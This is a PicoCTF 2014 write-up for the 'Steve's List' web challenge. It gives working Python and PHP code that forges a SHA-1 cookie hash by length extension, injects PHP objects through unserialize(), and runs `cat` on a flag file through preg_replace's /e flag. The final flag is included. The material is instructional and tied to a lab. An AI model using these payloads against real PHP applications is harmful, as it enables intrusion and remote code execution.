PicoCTF 2014 Write-ups

Steve's List - 200 (Web Exploitation)

Writeup by Oksisane

Created: 2014-11-08 22:01:33

Last modified: 2014-11-09 23:28:12

Problem

Section Chief Steve was super proud of the website he was writing, but he's pretty new to programming. When Daedalus Corp caught wind of this, they hacked his site. Steve still has an old backup, but they changed the secrets! They sent us a cryptic message saying they bet we couldn't read /home/daedalus/flag.txt. Can you go get it for us?

Hint

Go have a look at the cookies. Steve is pretty sure he wrote a bug, and that Daedalus left the secret the same length.

Answer

Overview

Use a Length Extension Attack to exploit a PHP unserialization vulnerability. Then, exploit a preg_replace vulnerability to execute system commands.

Details

The hint tells us to go look at the cookies, so that's where we will start. Here is the contents of the cookies.php:

<?php
  if (isset($_COOKIE['custom_settings'])) {
    // We should verify to make sure this thing is legit.
    $custom_settings = urldecode($_COOKIE['custom_settings']);
    $hash = sha1(AUTH_SECRET . $custom_settings);
    if ($hash !== $_COOKIE['custom_settings_hash']) {
      die("Why would you hack Section Chief Steve's site? :(");
    }
    // we only support one setting for now, but we might as well put this in.
    $settings_array = explode("\n", $custom_settings);
    $custom_settings = array();
    for ($i = 0; $i < count($settings_array); $i++) {
      $setting = $settings_array[$i];
      $setting = unserialize($setting);
      $custom_settings[] = $setting;
    }
  } else {
    $custom_settings = array(0 => true);
    setcookie('custom_settings', urlencode(serialize(true)), time() + 86400 * 30, "/");
    setcookie('custom_settings_hash', sha1(AUTH_SECRET . serialize(true)), time() + 86400 * 30, "/");
  }
?>

The interesting lines from this for now are

$custom_settings = urldecode($_COOKIE['custom_settings']);
$hash = sha1(AUTH_SECRET . $custom_settings);
if ($hash !== $_COOKIE['custom_settings_hash']) {
    die("Why would you hack Section Chief Steve's site? :(");
}
....
setcookie('custom_settings', urlencode(serialize(true)), time() + 86400 * 30, "/");
setcookie('custom_settings_hash', sha1(AUTH_SECRET . serialize(true)), time() + 86400 * 30, "/");

Our first goal is to be able to predict the cookie hash we need for an arbitrary piece of data so we can modify the custom_settings_hash cookie and custom_settings cookie without triggering the hack detection message Why would you hack Section Chief Steve's site? :(. To do this we employ a Length Extension Attack which works because we know the hash is composed of data (in this case serialize(true)) appended to the secret key when the cookie is first set. Note the hash, 2141b332222df459fd212440824a35e63d37ef69, that is generated when you first browse to a site as this will be important later. I recommend a Chrome extension such as EditThisCookie or a Firefox extension such as Cookies Manager+ for viewing/modifying cookies which we will do several times in this problem. The final piece of information we need to make the attack work is the length of the secret. If we look in root_data.php

<?php
  define('STEVES_LIST_ABSOLUTE_INCLUDE_ROOT', dirname(__FILE__) . "/");
  define('STEVES_LIST_TEMPLATES_PATH', dirname(__FILE__) . "/templates/");
  define('DISPLAY_POSTS', 0);
  // Daedalus changed this... I guess AAAAAAAA was not a good secret :(
  define('AUTH_SECRET', "AAAAAAAA");
  require_once(STEVES_LIST_ABSOLUTE_INCLUDE_ROOT . "includes/classes.php");
?>

we can see the 8 character secret AAAAAAAA that Steve had, and the hint tells us that the one Daedalus created was the same length. We can now use one of many online tools (I am going to use hlextend ) to create our own hashes! Once we have hlextend installed, we need to configure it

Here is a example of how to use hlextend:

import hlextend
import urllib
sha = hlextend.new('sha1')
data = sha.extend('wecanpredictyourhash','b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69')
print 'custom_settings:  ' + urllib.quote_plus(data.replace('\\x','%'))
print 'custom_settings_hash:  ' + sha.hexdigest()

Let's break down the sha.extend line

wecanpredictyourhash: The data we want to add

b:1;: The original data,serialize(true)

8: length of the secret key

2141b332222df459fd212440824a35e63d37ef69: The orginal hash we noted above

Running this script gives us:

custom_settings:  b%3A1%3B%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%60wecanpredictyourhash
custom_settings_hash:  db76c30d3394c5dfe135abe53fd844d3cca87c93

and if we set this output as our two cookies and load the page, we don't get an error. Great!

Now we need to figure out what to do with our new-found power. Looking back at the cookies.php we see theses lines that run just after the hash is verified:

$settings_array = explode("\n", $custom_settings);
$custom_settings = array();
for ($i = 0; $i < count($settings_array); $i++) {
    $setting = $settings_array[$i];
    $setting = unserialize($setting);
    $custom_settings[] = $setting;
}

Our exploit string is converted to $settings_array, where the string is read from left to right and split into indexes based on the location of the \n(newline) character. Then, each individual index of the array gets unserialize() called on it. A quick search shows that unserialize() has a vulnerability where we can use it to create an object defined in the site (and have it's _construct and _destruct methods run). Time to take a look at what objects we have available to us! Browsing to includes/classes.php we see the following code:

<?php
  class Filter {
    protected $pattern;
    protected $repl;
    function __construct($pattern, $repl) {
      $this->pattern = $pattern;
      $this->repl = $repl;
    }
    function filter($data) {
      return preg_replace($this->pattern, $this->repl, $data);
    }
  };

  class Post {
    protected $title;
    protected $text;
    protected $filters;
    function __construct($title, $text, $filters) {
      $this->title = $title;
      $this->text = $text;
      $this->filters = $filters;
    }

    function get_title() {
      return htmlspecialchars($this->title);
    }

    function display_post() {
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      return $text;
    }

    function __destruct() {
      // debugging stuff
      $s = "<!-- POST " . htmlspecialchars($this->title);
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      $s = $s . ": " . $text;
      $s = $s . " -->";
      echo $s;
    }
  };

  $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"),
                          new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"),
                          new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"),
                          new Filter("/\[br\]/i", "<br>")];
?>

We can inflate a Post object using unserialize() and have it's _destruct method called. We wil know we are successful when we see a comment such as <!--Post TITLE TEXT --> in the source of Steve's List. I used this php code to generate the serialized version of the post object:

<?php
 class Post {
    protected $title;
    protected $text;
    protected $filters;
    function __construct($title, $text, $filters) {
      $this->title = $title;
      $this->text = $text;
      $this->filters = $filters;
    }

    function get_title() {
      return htmlspecialchars($this->title);
    }

    function display_post() {
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      return $text;
    }

    function __destruct() {
      // debugging stuff
      $s = "<!-- POST " . htmlspecialchars($this->title);
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      $s = $s . ": " . $text;
      $s = $s . " -->";
      echo $s;
    }
  };
  class Filter {
    protected $pattern;
    protected $repl;
    function __construct($pattern, $repl) {
      $this->pattern = $pattern;
      $this->repl = $repl;
    }
    function filter($data) {
      return preg_replace($this->pattern, $this->repl, $data);
    }
  };
  $filters = array();
  $test = new Post("Test","text",$filters);
  echo serialize($test);
?>

Which generates:

O:4:"Post":3:{s:8:"\x00*\x00title";s:4:"Test";s:7:"\x00*\x00text";s:4:"text";s:10:"\x00*\x00filters";a:0:{}}

Note the \x00 around the * which is standard for php protected variables. If you don't include them the unserialize() will fail.

Now let's modify our script from above to regenerate our cookie

import hlextend
import urllib
exploit = """

O:4:"Post":3:{s:8:"\x00*\x00title";s:4:"Test";s:7:"\x00*\x00text";s:4:"text";s:10:"\x00*\x00filters";a:0:{}}
"""
sha = hlextend.new('sha1')
data = sha.extend(exploit,'b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69')
print 'custom_settings:  ' + urllib.quote_plus(data.replace('\\x','%'))
print 'custom_settings_hash:  ' + sha.hexdigest()

Note the \n before our post, which ensures it is split into a separate array index when we run

$settings_array = explode("\n", $custom_settings);

We get the output:

custom_settings:  b%3A1%3B%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%60%0A%0AO%3A4%3A%22Post%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00title%22%3Bs%3A4%3A%22Test%22%3Bs%3A7%3A%22%00%2A%00text%22%3Bs%3A4%3A%22text%22%3Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A0%3A%7B%7D%7D
custom_settings_hash:  22fae79c8ba8c81ad05de3aa3fad448ac07ec7f7

When this is entered into Steve's list, this appears at the bottom:

<!-- POST Test: text --><!-- POST 0wn3d by D43d4lu5 C0rp: OWNED OWNED OWNED OWNED OWNED OWNED SECTION CHIEF STEVE IS THE WORST<br><img src='./daedalus.png'><br><script>alert(1);</script><marquee>rekt</marquee><br><br><blink>we changed your secret</blink><br><br><marquee><blink>bet you'll never get control of this site back</blink></marquee><br><blink>look at this top quality tag we added</blink> --><!-- POST I'm Section Chief Steve: I'm the best.<br>The very best.<br><img src='./Steve.png'> -->

Success! We see our object <!-- POST Test: text --> has been injected successfully! We still need to figure out how to exploit this all to get the flag though...

As it turns out, the answer is not far away. Going back to objects.php let's take a look at the filter class:


class Filter {
    protected $pattern;
    protected $repl;
    function __construct($pattern, $repl) {
      $this->pattern = $pattern;
      $this->repl = $repl;
    }
    function filter($data) {
      return preg_replace($this->pattern, $this->repl, $data);
    }
  };

This performs a preg_replace on whatever data we send it. preg_replace uses regex to match a piece of text, then replaces it with another string. A little searching reveals that preg_replace has an optional /e flag that when used, calls eval on the replace string ($this->repl in this class) and replaces the matched data with the output of the eval(replacement string) instead of the actual replacement string. We can use this to call cat /home/daedalus/flag.txt. Let's modify our php code:

<?php
  ---Object definitions ---
  $filters = array();
  $filter = new Filter ('/^(.*)/e' ,'`cat /home/daedalus/flag.txt`');
  array_push($filters,$filter);
  $test = new Post("Test","stuff",$filters);
  echo serialize($test);
?>

Note the ` at the beginning and end of cat /home/daedalus/flag.txt. This is important because preg_replace escapes input otherwise.

Now we add the new output of our PHP code to the python script:

import hlextend
import urllib
exploit = """

O:4:"Post":3:{s:8:"\x00*\x00title";s:4:"Test";s:7:"\x00*\x00text";s:5:"stuff";s:10:"\x00*\x00filters";a:1:{i:0;O:6:"Filter":2:{s:10:"\x00*\x00pattern";s:8:"/^(.*)/e";s:7:"\x00*\x00repl";s:29:"`cat /home/daedalus/flag.txt`";}}}
"""
sha = hlextend.new('sha1')
data = sha.extend(exploit,'b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69')
print 'custom_settings:  ' + urllib.quote_plus(data.replace('\\x','%'))
print 'custom_settings_hash:  ' + sha.hexdigest()

and get the output

custom_settings:  b%3A1%3B%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%60%0A%0AO%3A4%3A%22Post%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00title%22%3Bs%3A4%3A%22Test%22%3Bs%3A7%3A%22%00%2A%00text%22%3Bs%3A5%3A%22stuff%22%3Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Filter%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00pattern%22%3Bs%3A8%3A%22%2F%5E%28.%2A%29%2Fe%22%3Bs%3A7%3A%22%00%2A%00repl%22%3Bs%3A29%3A%22%60cat+%2Fhome%2Fdaedalus%2Fflag.txt%60%22%3B%7D%7D%7D%0A
custom_settings_hash:  99e3fd25b62d5224144c22609e9d210697693b66

Entering this into the site and viewing the source code reveals:

<!-- POST Test: D43d4lu5_w45_h3r3_w1th_s3rialization_chief_steve -->

Congratulations! If you made it this far you just solved the toughest Web Exploitation challenge in the competition!

Here are the scripts used during this write-up:

Object Generator

Hash Generator

Flag

D43d4lu5_w45_h3r3_w1th_s3rialization_chief_steve